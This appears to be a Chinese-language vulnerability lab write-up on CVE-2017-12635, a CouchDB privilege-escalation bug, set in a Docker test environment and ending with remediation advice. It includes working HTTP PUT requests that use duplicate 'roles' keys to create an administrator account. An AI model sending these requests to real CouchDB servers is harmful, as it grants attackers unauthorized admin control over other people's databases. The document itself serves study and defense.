CVE-2017-12635(Couchdb 垂直許可權繞過漏洞)
Couchdb 垂直許可權繞過漏洞
漏洞描述
1.漏洞編號:CVE-2017-12635
2.影響版本:小於 1.7.0 以及 小於 2.1.1
3.漏洞產生原因:
Apache CouchDB是一個開源資料庫,專注於易用性和成為"完全擁抱web的資料庫"。它是一個使用JSON作為儲存格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL資料庫。應用廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程式)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636
參考連結:
- http://bobao.360.cn/learning/detail/4716.html
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
編譯及啟動環境:
docker-compose build
docker-composeup -d
vulnIP:192.168.18.81
環境啟動後,訪問`http://your-ip:5984/_utils/`即可看到一個
漏洞發現
關注Couchdb的版本
漏洞利用
首先,傳送如下資料包:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: 192.168.18.81:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 96 { "type": "user", "name": "vulhub", "roles": ["_admin"], "password": "vulhub" }
可見,返回403錯誤:`{"error":"forbidden","reason":"Only _admin may set roles"}`,只有管理員才能設定Role角色:
傳送包含兩個roles的資料包,即可繞過限制:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: 192.168.18.81:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 112 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub" }
成功建立管理員,賬戶密碼均為`vulhub`:
再次訪問http://your-ip:5984/_utils/,輸入賬戶密碼vulhub,可以成功登入:
問題彙總
修復方案
1.打補丁,升級到最新版本~
2.使用ECS安全組或防火牆策略,限制CouchDB埠暴露在網際網路,設定精細化網路訪問控制。
2021-01-2015:15:54